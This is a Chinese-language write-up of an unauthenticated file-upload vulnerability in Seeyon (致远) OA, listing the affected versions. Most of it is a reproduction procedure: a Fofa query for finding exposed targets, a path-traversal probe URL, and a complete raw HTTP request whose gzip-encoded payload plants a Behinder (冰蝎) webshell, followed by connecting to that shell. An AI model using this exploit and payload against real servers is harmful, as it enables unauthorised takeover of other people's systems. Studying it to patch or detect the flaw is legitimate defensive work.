一、漏洞描述

致远OA是一套办公协同管理软件。近日，奇安信CERT监测到致远OA的相关漏洞信息。由于致远OA旧版本某些接口存在未授权访问，以及部分函数存在过滤不足，攻击者通过构造恶意请求，可在无需登录的情况下上传恶意脚本文件，从而控制服务器。致远OA官方已针对该漏洞提供补丁。鉴于漏洞危害较大，建议用户尽快应用补丁更新。

二、漏洞影响版本

致远OA V8.0
致远OA V7.1、V7.1SP1
致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3
致远OA V6.0、V6.1SP1、V6.1SP2
致远OA V5.x
致远OA G6

三、漏洞复现

Fofa语法扫一波：

titile = '致远'

找到目标站点后访问：
情况一（出现异常返回随机数串）：
http://xxx.xxx.xxx.xxx/seeyon/thirdpartyController.do.css/..;/ajax.do
若出现以下两种情况，则表示无法利用该漏洞：

image.png

image.png

若出现以下前端返回，则有可能存在漏洞（具体判断是否存在，需要查看通过接口上传webshell之后的响应内容）：

image.png

出现异常：java.lang.NullPointerException:null

生成冰蝎马，对指定接口方法上传webshell：

POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=8d99e528-419d-4ec9-a5cc-13d7cd9e3068; loginPageURL=""
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3587

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTY%C2%93%C2%A2H%10%7E%C3%9E%C3%BD%15%C2%84%2F%C3%9A%C3%9136%C2%82%C2%8C%C3%ADN%C3%ACC%7B%21%C2%A2%C2%A8%C2%A0%5C%1B%C3%BB%00U%C3%88a%15%C2%B0rH%C3%991%C3%BF%7D%0B%C2%B0%C2%A7%7Bb%7B%C3%AB%C2%A52%C2%B32%C2%BF%C3%8A%C3%BB%C2%AF%C3%97%C3%AE%29%C2%B9%C3%A0%029%07%C2%92z%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%B8%C2%96ts%2F%C3%8B%C2%BB%C3%AF%C3%A2y%C2%95%5E%C2%BC%2C%0B%C2%93%C2%B8%7E%C3%94%C3%B2K%18%C3%BBL%C3%AA%C3%A4%01%C3%B3%27%C3%93%C3%A9%C3%B7%C2%9F%C2%AE%C2%9E%C3%AB%C2%A4i%C3%B6%C2%94y%1EI%C3%A2%C2%A7%C3%8E%C3%B7%C3%9F%C2%99%C3%B6%C3%BC%169%C2%A5%C3%93%0F%C2%93%C3%BE%C2%8E%C2%9A%C3%A4%C3%86%25%C3%8C%C2%BD%0B%C2%93%C2%BE%C3%93%1C%05%C2%88%C2%BD%2B%C3%B3%C2%89Z%C2%AF%C3%86%7F%C3%AC%60%0C%C3%BBQ%C2%96V%C2%9D%C2%87%C2%9F%C2%A0%C3%8C%C3%9D%C2%81%2C%C3%B0%10%C2%AA%3D%C3%98%C2%89%C3%A9%0D%C3%8CR%C3%A2rcVZ%06%C2%B9%2B%0A%C2%B7-%C2%AEel%C3%A8%2CU%16%C3%8C%C2%92r%C3%8D%C2%A5%01%C3%84%C3%B3%02%C3%B0z%C2%B1%C3%86J%C3%A9jc%C3%B98x%29%C2%8F%C3%A2%22%C2%B65%C3%89%C2%87X%27%C2%80C%C2%A5%1B%C2%B1%C3%A1F%1B%12%29%1A%3E%3B%C2%B1r%C3%9Db5%05X%C2%8F%C2%A0%C2%888%5B%13%C2%AE%C2%96%01%C2%91%24%C2%A2%1C%C2%88c%02k%7C%C2%BC%C3%A0%2CM%18%C3%90%C3%B7l%1D%26Y%C3%83%C2%9B%7Ea%C3%B1%2B%01%2C%C3%95%C3%B2S%19%C3%85%C2%B5%C2%8DM%21%C2%87R%C2%B9%C2%8B%C2%AA%7F%00%C3%BF%C3%B2%C3%8D%16%C3%B5%C3%88%15%17%C3%842%C3%95%C3%94%C3%A5%C2%86%C2%8F%C2%92%C2%A8d%C2%96%C2%A9%C3%9C%C2%A4%C3%85%C3%91%C2%B7%C3%8D%C2%80%C2%B5%0D%C3%A1%0C%C3%88dFun%C2%80%C2%ADJ%C3%8BP%11%C2%88s%5D%C2%9E%C2%B7z%07q%1CP%0C%22%C2%89%C2%9B%C3%94%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%959%C3%86%C3%86%C3%9FsU%00%C3%B8%C2%8Do%C2%93+%C3%B4L%15I%C2%8B%1CZ%21%1A%C3%91%C3%B8Xh%C2%AE%0Ai%C3%99%C3%9A%C2%AD%C2%B1%C2%8Al%C2%8C%0A%C3%BB%C3%98b%C3%8B%C2%A2%C2%94m%C2%A6U%C2%B8%C3%86%15r1d%C2%9D%C3%A9yt2%C3%99g%C2%9A%C3%93%3A%C3%AFg%C3%9B%C2%A8%C3%B5V%01%C3%8D%01%C3%8D%C3%9F%3Do%C2%B1%12%01%C2%8C%C2%AEP%C2%AC%10%C2%9C%09%07%C2%B8%5C%C2%A5.%06%C2%BEscC%C3%BB%C2%B0%1F%C3%98%C2%87%0D%C3%99%1A6%C2%B2%22%C3%BD%C2%BC%3DH%03%2B%C2%94F%C2%80%C3%93oM%0DB%C3%A1%0AM%C3%95%C2%B0%C2%8Cj%60k%7E%085%29s%C3%88y%C2%B4%C3%A7%C3%90%C3%95ic%1C%C2%BF%C3%91k%0C%11%C2%9C%23ZW5p%C2%B1%C2%82%C3%A4%C3%A9j%C2%A2%C3%AA%C2%9BP%3E%C3%A4%C3%91%C2%9A%C3%86%C3%A0%C2%98%C3%BBd%13V%C2%85m%02%C3%BF%C3%88%C3%A9Q%1D%C2%AB%C3%86%C3%A9%C3%82%C2%91%C2%9F+%C2%8B%C3%B8%C3%89%C2%87%3Fc%C3%BB%C3%97%3FS%C2%99H%C2%A1%C2%AC5%C3%B2i%C2%9D%2F%40%C3%BCt%C3%BD%C2%86%C2%AF%C2%9DG.%C3%96yZ%C2%9F%04%C2%8AA%0AH%C2%A3%C3%97%C3%96%C2%A7%C3%96k%C3%BC%C3%BA%C2%B56%C3%B2%C3%B4L%C3%A5+%C2%B1%C2%88pvY%C2%9B%C3%A6c%C2%91%C3%89%C2%A2%C2%80+%C2%99%C3%9C%C2%A01%2C%5C%03%C3%9D%C3%A8%C3%9Bt%C2%AF%2B%0B%25R%C3%A74%C2%AF%C3%A5%C3%9D%C2%AEh%C3%BA%C2%83S%C3%91%3E%C3%96%C2%B1M%7BU%5E%C2%AE%100u%04%C3%B8%7Das%3A%7B%C3%84%C3%BA%C3%9B%1F%05%C2%A8i%3A%C2%B3.%3E%26%C3%94%C3%8F%C2%94%C3%86%40%C3%A3%C2%87%2B7VX%C3%8B%10%22%1A%1F%C3%B5C%C2%AF%C2%A0%C2%B1%C3%88%00%09%C2%9A%C2%9E%C3%9Es%C3%A3%02%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7%10%C3%87%C2%9C%C2%B0%C2%AE%C2%A8%C2%B3%C2%BB%C3%A8Z%C2%B6u%5D%C2%95.%C2%BF%7F%7C%C2%9Fq%26%2B%C3%A2%3E%0E3%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07%12H%C3%87%1C%C3%9E%C3%AFv%C3%82%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFIq%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87-%C3%93o%18%14%C3%B7%3E%C2%82%C3%BF%C2%9F.%40I%C3%A6Q%C3%87%7E%7C%C2%AF%C2%B7+%25%C2%A0wb%C2%B2%C3%9C%C3%89C%C3%80TU%C3%95%7Bx%C3%AD%C3%BE%C2%A0%C2%AB%C2%91%C2%AE%C3%87%C3%97%C3%BA%C3%8E%2F%C2%85%C3%97%C3%BD%C3%BB_%2F%07M%C2%ADU%05%00%00

若返回：

image.png

则表示漏洞已修复。
能够成功利用的返回如下：

image.png

访问webshell：

image.png

冰蝎连接。